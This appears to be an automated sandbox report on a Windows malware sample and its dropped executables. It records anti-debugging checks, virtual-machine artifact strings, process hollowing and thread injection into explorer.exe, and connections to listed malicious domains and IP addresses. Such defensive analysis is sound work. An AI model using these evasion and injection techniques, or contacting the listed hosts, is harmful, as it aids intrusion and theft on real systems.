Source: explorer.exe, 00000006.00000000.341927630.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 00000006.00000000.338636451.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.341715676.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: svchost.exe, 0000000F.00000002.431227930.000001F2972A5000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWp
Source: explorer.exe, 00000006.00000000.338636451.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: svchost.exe, 0000000F.00000002.431368099.000001F2972ED000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000002.457810826.0000000004841000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.450924021.00000000047EA000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.450739037.0000000004841000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000002.457616850.00000000047F3000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.450375428.0000000004841000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000006.00000000.331132628.000000000EE50000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}userDD
Source: explorer.exe, 00000006.00000000.341715676.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

Code function: 22_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

22_2_00401D96

Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_004199E9 BuildCommDCBAndTimeoutsW,CreateMailslotA,GetNamedPipeHandleStateA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeW,FindFirstFileExW,	14_2_004199E9
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	20_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	20_2_00401280
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	20_2_00401090
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	20_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00409970
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00578A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00578A30
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_005714D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	20_2_005714D0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_005712E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	20_2_005712E0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00576090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00576090
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00579930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	20_2_00579930
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00579BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00579BC0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00579D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	20_2_00579D90

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe

1_2_0040A3DE

Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 10_2_00450083 push dword ptr fs:[00000030h]	10_2_00450083
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 10_2_00460042 push dword ptr fs:[00000030h]	10_2_00460042
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_0060092B mov eax, dword ptr fs:[00000030h]	12_2_0060092B
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_00600D90 mov eax, dword ptr fs:[00000030h]	12_2_00600D90
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_009659D6 push dword ptr fs:[00000030h]	14_2_009659D6
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00401000 mov eax, dword ptr fs:[00000030h]	20_2_00401000
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_0040C180 mov eax, dword ptr fs:[00000030h]	20_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_0057092B mov eax, dword ptr fs:[00000030h]	20_2_0057092B
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00571250 mov eax, dword ptr fs:[00000030h]	20_2_00571250
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_0057C3D0 mov eax, dword ptr fs:[00000030h]	20_2_0057C3D0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00570D90 mov eax, dword ptr fs:[00000030h]	20_2_00570D90
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00771F83 push dword ptr fs:[00000030h]	20_2_00771F83
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: 22_2_0064092B mov eax, dword ptr fs:[00000030h]	22_2_0064092B
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: 22_2_00640D90 mov eax, dword ptr fs:[00000030h]	22_2_00640D90

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe

Code function: 1_2_00403C44 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_00403C44

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Code function: 20_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

20_2_004048D0

Source: C:\Users\user\AppData\Local\Temp\B55D.exe

Code function: 14_2_0042CB32 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

14_2_0042CB32

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe

Code function: 1_2_0040F0AE CreateFileA,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

1_2_0040F0AE

Source: C:\Users\user\AppData\Local\Temp\B55D.exe

Code function: 19_1_004027ED LdrLoadDll,

19_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_00403C44 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00403C44
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_00408848 SetUnhandledExceptionFilter,	1_2_00408848
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_0040383B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0040383B
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_00407A0C __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00407A0C
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_0040976C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_0040976C
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_0043AB40 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0043AB40
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_0042BC70 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_0042BC70
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_00422C20 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00422C20
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_004284D0 SetUnhandledExceptionFilter,	14_2_004284D0
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: 22_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	22_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: a0621298.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: 1F56.exe.6.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\fjsvubj	Memory written: C:\Users\user\AppData\Roaming\fjsvubj base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Memory written: C:\Users\user\AppData\Local\Temp\CBE6.exe base: 400000 value starts with: 4D5A			Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Roaming\fjsvubj

Code function: 10_2_00460110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

10_2_00460110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Thread created: C:\Windows\explorer.exe EIP: 2E11930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Thread created: unknown EIP: 5C11930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Thread created: unknown EIP: 5D61930	Jump to behavior

.NET source code references suspicious native API functions

Show sources

Source: CBE6.exe.6.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: CBE6.exe.6.dr, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 25.0.CBE6.exe.c10000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 25.0.CBE6.exe.c10000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 25.0.CBE6.exe.c10000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 25.0.CBE6.exe.c10000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 25.0.CBE6.exe.c10000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 25.0.CBE6.exe.c10000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 25.0.CBE6.exe.c10000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 25.0.CBE6.exe.c10000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.CBE6.exe.740000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.CBE6.exe.740000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 41.0.CBE6.exe.400000.4.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.CBE6.exe.740000.13.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.CBE6.exe.740000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 41.0.CBE6.exe.740000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.CBE6.exe.740000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 41.0.CBE6.exe.400000.6.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Process created: C:\Users\user\Desktop\PPsa8TXVuy.exe "C:\Users\user\Desktop\PPsa8TXVuy.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Process created: C:\Users\user\AppData\Roaming\fjsvubj C:\Users\user\AppData\Roaming\fjsvubj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Process created: C:\Users\user\AppData\Local\Temp\B55D.exe C:\Users\user\AppData\Local\Temp\B55D.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4852 -ip 4852	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4852 -s 520	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process created: C:\Users\user\AppData\Local\Temp\CBE6.exe C:\Users\user\AppData\Local\Temp\CBE6.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

Code function: 22_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

22_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

Code function: 22_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

22_2_00407809

Source: explorer.exe, 00000006.00000000.307462876.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.334657209.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.319485931.00000000011E0000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.406157557.0000000000CC0000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.402274077.0000000000CC0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000000.318892682.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.307289570.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.334225773.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: explorer.exe, 00000006.00000000.326098244.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.307462876.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.334657209.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.319485931.00000000011E0000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.406157557.0000000000CC0000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.402274077.0000000000CC0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.307462876.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.334657209.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.319485931.00000000011E0000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.406157557.0000000000CC0000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.402274077.0000000000CC0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000000.307462876.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.334657209.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.319485931.00000000011E0000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.406157557.0000000000CC0000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.402274077.0000000000CC0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000006.00000000.327950518.0000000008778000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.312207587.0000000008778000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.341927630.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: SetComputerNameW,EnumSystemLocalesW,GetConsoleAliasesA,FindResourceExA,GetVersionExA,VirtualQuery,CreateThread,SetComputerNameExW,_printf,_malloc,_calloc,__wfopen_s,_fseek,GetConsoleAliasA,GetModuleHandleA,LocalAlloc,GetConsoleTitleA,GetConsoleTitleA,GetConsoleTitleA,GetAtomNameA,CreateIoCompletionPort,GetFileAttributesW,GetDefaultCommConfigW,	1_2_004017B8
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: GetLocaleInfoA,	1_2_0041097C
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: GetLocaleInfoA,	12_2_00410857
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: GetLocaleInfoA,	14_2_0043A890
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	20_2_0040AE00
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	20_2_0057B050

Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\CBE6.exe VolumeInformation	Jump to behavior
